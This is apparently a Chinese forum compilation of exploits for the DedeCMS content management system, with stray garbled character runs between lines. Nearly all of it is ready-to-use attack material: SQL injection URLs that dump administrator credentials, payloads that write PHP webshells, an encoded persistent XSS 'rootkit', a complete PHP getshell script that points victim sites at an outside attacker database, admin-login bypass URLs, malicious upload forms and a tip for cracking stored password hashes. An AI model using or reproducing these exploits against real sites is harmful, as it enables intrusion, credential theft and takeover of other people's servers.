dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
& p) E4 ]! u+ T4 Ghttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1


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, E  R% q( P! L1 O" bDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
; |5 i5 y  J" J3 E发表后查看或修改即可执行
% h+ c3 C. e9 \' {; X7 Qa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
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  W: s+ M1 I* B5 w. _+ ZDede 5.6 GBK SQL注入漏洞
6 K* d, ^0 h& W2 Zhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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1 ~% y( H; S4 s5 \. C9 Z9 \DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

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DEDECMS 全版本 gotopage变量XSS漏洞
; T/ p" d6 I1 a# m, [1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
! M& ^& r8 M% Qhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
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2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

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; C! x* X: U5 j/ y& C0 d4 _http://v57.demo.dedecms.com/dede/login.php
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color=Red]DeDeCMS(织梦)变量覆盖getshell
9 K, D; m7 t* g+ M" Q! _; {/ H#!usr/bin/php -w
4 w) y! ~+ N+ z7 ^* b  F+ r4 g<?php
error_reporting(E_ERROR);
8 I( c- r  \1 ]/ C- _# z& Dset_time_limit(0);
& g5 E" q4 y) ?1 O$ D7 Eprint_r('
! T6 u; K3 F: XDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
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# V, q  y1 U* a/ q1 e3 E$ recho "\r\n";
7 \  L; i& O) q* |4 Iif($argv[2]==null){
1 ~$ k. r; @8 ?, m7 ^+ tprint_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
  r2 l$ r0 Z; s: N3 @aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
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exit;
% \, A( ]( f/ Q* f3 ~& {}
5 M5 ?( X9 S) @5 a$url=$argv[1];
6 g& V/ }& j8 f! g+ c' z' O% e% \, a$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
* S) P' Z$ X, G2 nif (strpos($exp,"OK")>12){
echo "
  h2 u* s7 N+ YExploit Success \n";
0 f6 v4 `4 X4 G& y$ }# B% n. t7 }if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;


if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
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if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


" R4 w$ ^8 U+ g" q5 o9 ~}else{
6 w" G/ G3 m8 R5 ?/ t  [8 E* q: T; secho "
Exploit Failed \n";
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$ T) C6 t7 U# L2 a5 v8 T0 N3 R4 b4 nfunction Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
: z/ S2 e7 Y  }* j$port="80";
6 V  a0 b) V' Y$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
% F: Y- p- b; G+ g9 B# Z$data .= "Host: ".$host."\r\n";
5 t; O% T0 T! n& z5 q$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
9 @, V" C1 F/ L# s7 U$ s& E$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
! G8 p1 s9 o8 v0 r) Y9 I$ock=fsockopen($host,$port);
if (!$ock) {
, Z# W( O+ o/ x" q8 w  j$ N. lecho "
No response from ".$host."\n";
/ D/ a  c, A6 b( @% ]  k/ O. |4 h3 t}
fwrite($ock,$data);
! j! Z9 l# _" ywhile (!feof($ock)) {
) e" w- }- P/ h" K$exp=fgets($ock, 1024);
- C* y1 R1 `+ J) sreturn $exp;
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}

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?>


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: m4 A# w' C( RDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
( \' K# i  O& P. ^4 u8 B" Uhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


8 I7 b* z- L  L) L, i把上面validate=dcug改为当前的验证码，即可直接进入网站后台

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此漏洞的前提是必须得到后台路径才能实现
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/ a* O: o5 Q5 y! X% c: m7 cDedecms织梦 标签远程文件写入漏洞
3 Y; {- C. j6 V3 ?+ E# B  p) x- M前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

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# C0 Z, z8 M: }6 o5 ^再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
6 k# }9 e( B# j/ w0 v3 z<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
7 g8 ^4 u; f# [$ v% D- \* c<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
  T) \; m8 N, @( r) N# g/ b8 O<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
  o& r+ t5 L( ?3 G; N<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
/ V2 N" d/ g# j$ h0 m5 P/ T<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
- U" x) E8 ^; {0 B5 g! Kdocument.QuickSearch.action=document.QuickSearch.doaction.value;
! G5 i- q/ n" u, ?/ \6 H}
</script>




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+ c: \( E  _" V( ?$ ?DedeCms v5.6 嵌入恶意代码执行漏洞
' W6 X$ \. H/ d) q( p注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
% v! f* ~% D2 K, p/ s* C7 F/ }, u生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
% |* Z# m2 S# L) G5 g# C5 r( BDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
/ Q7 L0 s0 K- |$ luploads/userup/2/12OMX04-15A.jpg
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模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
! l/ }. O$ X- F, ?" L; I@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
8 n+ D* i( L$ |! u8 S<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
4 b+ G" \! O3 t3 f% b<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
  G& L# M* e9 }& U<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
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<div id="mainCp">
; j! i& O! w. R<h3 class="meTitle"><strong>修改文章</strong></h3>
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+ P- Y  a4 a. E<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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7 I% ]8 b; g. L3 o<label>标签TAG：</label>
3 M: W! R+ n$ d7 a: R<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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<label>作者：</label>
- f! Y5 B- V7 S/ u' F<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
4 f" L' `2 o* U6 r<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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: z0 q% s7 B1 r9 n8 V8 C4 J* O. y<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
1 A" o9 p% P/ c4 l; @" F8 o<option value='1' class='option3' selected>hahahha</option>
</select>
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<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

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$ G3 N+ g3 ?+ K1 |. l<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
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<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
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6 Y- s4 J, n% R: I  `( K<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
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<div class="contentShow postForm">
) v  B7 Y8 n  G6 f* d7 r<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

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6 s. t* ?0 H6 F) [3 \<label>验证码：</label>
4 ?6 c# e/ v# e/ `<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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<button class="button2" type="submit">提交</button>
8 ]+ t3 b( Y& a<button class="button2 ml10" type="reset">重置</button>
</div>


  V4 m3 l6 M0 H* Q</div>
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</form>
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4 r. b+ W9 p# s7 O  X提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
% Y# @) e7 [$ E1 M0 N假设刚刚修改的文章的aid为2，则我们只需要访问：
. m; L2 S3 s$ e; Uhttp://127.0.0.1/dede/plus/view.php?aid=2
+ V3 t: r' w- E4 {1 U7 V$ f, ^即可以在plus目录下生成webshell：1.php


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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
) Y' t5 q2 C& S, }. N0 T) lGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
  K  B1 S5 @& W) P6 D{/dede:field}
' q9 Z$ D  U4 {# s& i1 p保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
+ A; S" g& O( C' V0 {<input type="hidden" name="mediatype" value="1" />
/ r; @4 ^7 Q1 b9 u- e' S<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
/ h6 i4 U! u1 b( }<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
  z- ?( ?* o. W8 ~<button class="button2" type="submit" >更改</button>
" Z" }3 q' E6 c2 _& j</form>
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/ _: P$ B# G$ i* Y构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：

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<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
5 `  p( t3 Q8 `4 b3 `: u<input type="hidden" name="channelid" value="1" />
, p1 V& w* P( D' S9 ?<input type="hidden" name="oldlitpic" value="" />
- j: X2 H. Z7 f- D0 T! \( s<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
2 J4 p, G- Y/ w. k4 |<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
) F* S% n$ w0 q, a7 T<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
% [7 a$ Y( P, P5 ?# Q( O7 p<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
6 d* M5 C% Y' X' |. m<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
+ e! C( {2 ^8 p  h' d# }<button class="button2" type="submit">提交</button>
- M+ }+ U" @$ t$ _; A0 }</form>
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织梦(Dedecms)V5.6 远程文件删除漏洞
0 W  L: c, N1 K/ m* j1 Ghttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

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7 L* u* d9 V$ U  @+ V2 G7 ~织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
3 M; J" @3 |. F4 [( l5 m# L& Vhttp://www.test.com/plus/carbuya ... urn&code=../../
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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
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. q5 b# Q" u6 B3 A, }) n9 ~: Z织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
% @+ T3 K3 p; y. rhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
5 u% I' R( \% y3 t+ G; T<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
' i- v& S( [9 b. B, y</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
8 m* G7 s5 C) [+ q/ \<input type='hidden' name='cfg_basedir' value='../../' />
6 f- `0 k5 N5 c) H1 p<input type='hidden' name='cfg_imgtype' value='php' />
! v3 U2 ~; g7 h/ d! i' F  w<input type='hidden' name='cfg_not_allowall' value='txt' />
9 w5 ?5 s$ F8 k3 ]9 K: Z8 L<input type='hidden' name='cfg_softtype' value='php' />
3 y5 C. d, H) [( ]" f3 v1 \, L  _4 `; s<input type='hidden' name='cfg_mediatype' value='php' />
2 \$ A; _  o' Y) `4 O, Y8 ?<input type='hidden' name='f' value='form1.enclosure' />
, z" ^, N7 ]/ G% ?( `  O<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
# v* U3 V+ O  m8 jSelect U Shell <input type='file' name='uploadfile' size='25' />
, h5 g3 a# h' s# v8 ]: z1 Q/ b9 A<input type='submit' name='sb1' value='确定' />
% K* o/ f# ^9 r</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
& B0 a9 m/ E$ I9 U+ a: v4 G( \; gFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
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# D2 D3 Z* h5 O- R. S织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
& T- T' N7 N0 @' Y! \& K+ a7 X1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
0 u0 q7 U' p+ w8 f* P可看见错误信息


2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
" H3 ^# h- @  H# jint(3) Error: Illegal double '1024e1024' value found during parsing
1 b# y6 h0 r( z* q) p6 C# a; X" vError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>

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<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

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按确定后的看到第2步骤的信息表示文件木马上传成功.


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' j- @  O" k2 H! v$ q织梦(DedeCms)plus/infosearch.php 文件注入漏洞
! v8 n  p$ [% V8 ?4 Ahttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*